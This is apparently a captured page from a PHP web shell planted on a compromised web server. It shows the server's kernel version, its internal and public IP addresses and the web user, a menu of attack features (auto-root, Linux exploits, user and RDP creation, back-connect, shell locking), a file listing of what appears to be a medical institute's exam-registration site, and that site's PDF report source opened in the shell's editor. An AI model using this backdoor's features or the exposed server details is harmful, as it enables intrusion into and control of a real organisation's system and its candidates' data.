Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64
Apache
: 172.26.7.228 | : 3.149.214.28
Cant Read [ /etc/named.conf ]
5.6.40-24+ubuntu18.04.1+deb.sury.org+1
www-data
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
misc /
public_html /
nium /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
applicationForm.php
19.66
KB
-rwxr-xr-x
applicationFormReportSBM.php
21.55
KB
-rwxr-xr-x
candidate_report.php
5.99
KB
-rwxr-xr-x
cappcontext.php
2.87
KB
-rwxr-xr-x
coutput.php
1.75
KB
-rwxr-xr-x
crequestbroker.php
2.49
KB
-rwxr-xr-x
csessions.php
514
B
-rwxr-xr-x
cuser.php
3.41
KB
-rwxr-xr-x
custom_mregistry.php
122
B
-rwxr-xr-x
getnumword.php
7.15
KB
-rwxr-xr-x
json.php
33.22
KB
-rwxr-xr-x
login.php
2.12
KB
-rwxr-xr-x
main.php
9
KB
-rwxr-xr-x
mregistry.php
2.91
KB
-rwxr-xr-x
mregistry_15092014.php
2.38
KB
-rwxr-xr-x
registration.php
41.83
KB
-rwxr-xr-x
registration09082016.php
31.84
KB
-rwxr-xr-x
registration1.php
21.71
KB
-rwxr-xr-x
registration_27082015.php
31.68
KB
-rwxr-xr-x
registration_before_hallticket...
23.29
KB
-rwxr-xr-x
registration_closed_after_last...
32.47
KB
-rwxr-xr-x
registration_old.php
22.54
KB
-rwxr-xr-x
report_hall_ticket.php
11.15
KB
-rwxr-xr-x
reports.php
5.29
KB
-rwxr-xr-x
sample.php
9.27
KB
-rwxr-xr-x
sample_pdf.pdf
13.52
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : candidate_report.php
<?php ini_set("display_errors","On"); require('tarka_pdf/fpdf.php'); error_reporting(E_ALL ^ E_NOTICE); ini_set('memory_limit','300M'); class PDF extends FPDF { //Page header function Header() { //Logo $this->Image('images/nium.jpg',10,7,23); //Arial bold 15 $this->SetFont('Arial','B',15); $this->Cell(180,6,'NATIONAL INSTITUTE OF UNANI MEDICINE',0,1,'C'); //Line break $this->SetFont('Times','B',9); $this->cell(180,6,"Kottigepalya, Magadi Main Road, Bangalore, Karnataka - 560 091","0",1,"C"); // $this->Cell(90); $this->SetFont('Arial','B',12); $this->Cell(180,6,'PGET 2016 - MD / MS (UNANI)',0,1,'C'); $this->Cell(180,6,"CANDIDATE LIST","0",1,"C"); } //Page footer function Footer() { //Position at 1.5 cm from bottom $this->SetY(-15); //Arial italic 8 $this->SetFont('Arial','I',8); //Page number $this->Cell(0,10,'Page '.$this->PageNo().'/{nb}',0,0,'C'); } } function generateCandidateListpdf($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $select_query="select fappno, fregno, LEFT(fname,18) as fname, DATE_FORMAT(fdob,'%d/%m/%Y') as fdob, photo_path from student where ifnull(fregno,'') <> '' and fht = 'T' order by fregno"; $lobj_result = $aobj_context->mobj_db->GetAll($select_query); $pdf=new PDF(); $pdf->AliasNbPages(); $pdf->AddPage(); $pdf->SetMargins(10,5,10); $pdf->Ln(5); $header=array('Sl No.' ,'Reg No.','App No.' ,'Name','Photo','Signature'); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); $w=array(12,20,25,50,30,50); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i],10,$header[$i],1,0,'C',true); $pdf->Ln(); $pdf->SetFillColor(224,235,255); $pdf->SetTextColor(0); $pdf->SetFont('','B',10); $fill=false; $adm_ln_counter=0; $sln = 0; $width_x=120; $height=30.5; foreach($lobj_result as $key => $value) { if($adm_ln_counter > 9) { $pdf->Cell(array_sum($w),0,'','T'); $pdf->AddPage(); $adm_ln_counter=0; $width_x=120; $height=30.5; $pdf->Ln(10); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i],10,$header[$i],1,0,'C',true); $pdf->Ln(); } $height=$height+22; $height_y=$height; $sln++; $pdf->SetFont('Arial','',11); $pdf->Cell($w[0],22,$sln,'LB',0,'C',$fill); $pdf->Cell($w[1],22,$value[fregno],'LRB',0,'C',$fill); $pdf->Cell($w[2],22,$value[fappno],'LRB',0,'C',$fill); //$pdf->Cell($w[3],25,$value[fname],'LRB',0,$fill); $pdf->Cell($w[3],19,$value[fname],'LRT',0,'L'); $pdf->Cell(-50); $pdf->Cell($w[3],28,'DOB : '.$value[fdob],0,0,'L'); $photo_path=$value[photo_path]; if(!empty($photo_path) && file_exists($photo_path)) { $pdf->Image($photo_path,$width_x,$height_y,15); } $pdf->Cell($w[4],22,'','LRB',0,'C',$fill); $pdf->Cell($w[5],22,'','LRB',0,'C',$fill); $adm_ln_counter++; $pdf->Ln(); //$fill=!$fill; } $pdf->Cell(array_sum($w),0,'','T'); $file_path = "candidate.pdf"; $pdf->Output($file_path,"D"); /*header('Content-Description: File Transfer'); header('Content-Type: application/pdf'); header('Content-Disposition: attachment; filename='.basename($file_path)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path)); ob_clean(); flush(); readfile($file_path); */ exit; } function generateCandidateWthPhotoListpdf($aobj_context) { session_start(); $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); $select_query="select fappno, fregno, LEFT(fname,18) as fname, DATE_FORMAT(fdob,'%d/%m/%Y') as fdob from student where ifnull(fregno,'') <> '' and fht = 'T' order by fregno"; $lobj_result = $aobj_context->mobj_db->GetAll($select_query); $pdf=new PDF(); $pdf->AliasNbPages(); $pdf->AddPage(); $pdf->SetMargins(10,5,10); $pdf->Ln(5); $header=array('Sl No.' ,'Reg No.','App No.' ,'Name','Signature'); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); $w=array(12,20,25,50,50); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i],10,$header[$i],1,0,'C',true); $pdf->Ln(); $pdf->SetFillColor(224,235,255); $pdf->SetTextColor(0); $pdf->SetFont('','B',10); $fill=false; $adm_ln_counter=0; $sln = 0; $width_x=120; $height=30.5; foreach($lobj_result as $key => $value) { if($adm_ln_counter > 9) { $pdf->Cell(array_sum($w),1,'','T'); $pdf->AddPage(); $adm_ln_counter=0; $width_x=120; $height=30.5; $pdf->Ln(10); $pdf->SetFillColor(255); $pdf->SetLineWidth(.4); $pdf->SetFont('','B',10); for($i=0;$i<count($header);$i++) $pdf->Cell($w[$i],10,$header[$i],1,0,'C',true); $pdf->Ln(); } $height=$height+22; $height_y=$height; $sln++; $pdf->SetFont('Arial','',11); $pdf->Cell($w[0],22,$sln,'LB',0,'C',$fill); $pdf->Cell($w[1],22,$value[fregno],'LRB',0,'C',$fill); $pdf->Cell($w[2],22,$value[fappno],'LRB',0,'C',$fill); //$pdf->Cell($w[3],25,$value[fname],'LRB',0,$fill); $pdf->Cell($w[3],19,$value[fname],'LRT',0,'L'); $pdf->Cell(-50); $pdf->Cell($w[3],28,'DOB : '.$value[fdob],0,0,'L'); $pdf->Cell($w[4],22,'','LRB',0,'C',$fill); $adm_ln_counter++; $pdf->Ln(); //$fill=!$fill; } $pdf->Cell(array_sum($w),0,'','T'); $file_path = "candidate.pdf"; $pdf->Output($file_path,"D"); /*header('Content-Description: File Transfer'); header('Content-Type: application/pdf'); header('Content-Disposition: attachment; filename='.basename($file_path)); header('Content-Transfer-Encoding: binary'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Pragma: public'); header('Content-Length: ' . filesize($file_path)); ob_clean(); flush(); readfile($file_path); */ exit; } ?>
Close